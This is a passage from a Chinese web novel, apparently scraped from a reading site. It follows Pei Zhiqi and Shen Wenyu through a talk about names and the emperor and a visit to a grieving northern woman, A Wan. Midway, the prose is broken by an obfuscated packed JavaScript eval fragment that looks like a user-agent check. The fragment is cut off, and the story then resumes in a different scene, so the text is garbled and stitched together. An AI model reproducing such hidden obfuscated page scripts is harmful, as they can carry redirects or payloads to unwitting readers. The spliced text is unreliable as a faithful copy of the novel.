他说到这里时语气没有什么波澜,让裴止弃不由想起宋鹤同他说过这人疏离的本性:“名字是…生命的载体,因果联系于此,是要为此耗费心力的。而人的心力稀薄,权分走一点,势分走一些,爱分走一点。再系到毫不相关的人身上,岂不是白添折磨?” “没道理,”裴止弃不轻不重嘲了他一句,“但贴合金銮殿上的那位爷。” 裴止弃说皇帝没心没肝,不顾黎民苍生死活,这点沈文誉欣然赞同。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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若姨拉了拉她口中的小婉,可惜没有拉动,女人看了一圈,慌不择路抓住了沈文誉的衣摆,像是迫不及待想要找人倾诉,骤然落下泪来:“不可能、安隆多不可能背叛我的,他……他娶我的时候答应过我,对不对?他真的很爱我的……” 真的已经疯了。 沈文誉被拉得不稳,被裴止弃顺手勾住了腰身。裴止弃将他挡在身后,弯下身,用指腹将女人的眼泪抹干净,声音是沈文誉从未听过的温和。 “阿帕,先冷静点,我此番离京,多替你注意些。” 阿帕似乎是他们那边的某种称呼。 沈文誉见疯子被痛苦折磨得消瘦,也没什么明显的表情起伏,淡然看她一眼,心想何苦。 士贰其行,人不如故,何苦? 女人听见裴止弃的应允,情绪拉到极致如弦断,登时倒在若姨的肩上哭了起来。 “好,”她哭起来,“好,帮我问问……问他为什么变心,为什么不要我们了,为什么要这样啊……” “我一直都在等他的……” “他叫安隆多,是永不分离的意思……” 尚且在家中的北人闻声纷纷出来,见到裴止弃均是欣喜万分,先把阿婉哄回屋里睡着了,才不忘拥出来叙旧,连沈文誉手中都被塞了一堆吃食。 沈文誉:“……” 好像被投喂了。 他手肘撞了撞裴止弃,仰头看向他,依旧冷着脸,但抱着一堆东西显然十分…不凶。 沈文誉:“要走了。” 待的时间够长了,再不走他们可能会被其他人发觉。 “我现在信你说的那些话是真的了。”裴止弃将他手中那些东西接过来。 哪些? 沈文誉想起来了。 ——你们一族是死是活与我何干?若是魂飞灯灭,保不齐是一种解脱…… 但他没什么要说的,于是沉默。 “好绝情啊,”裴止弃摇摇头,感叹道,“小鱼?” 猝不及防被叫小名,还是只偶尔从母亲嘴里出来的称呼,沈文誉瞬间心跳加速,失措慌张地看去。 见裴止弃腾出来一只手,点了点自己的耳垂示意。 “怎么带耳坠了,样式挺可爱。”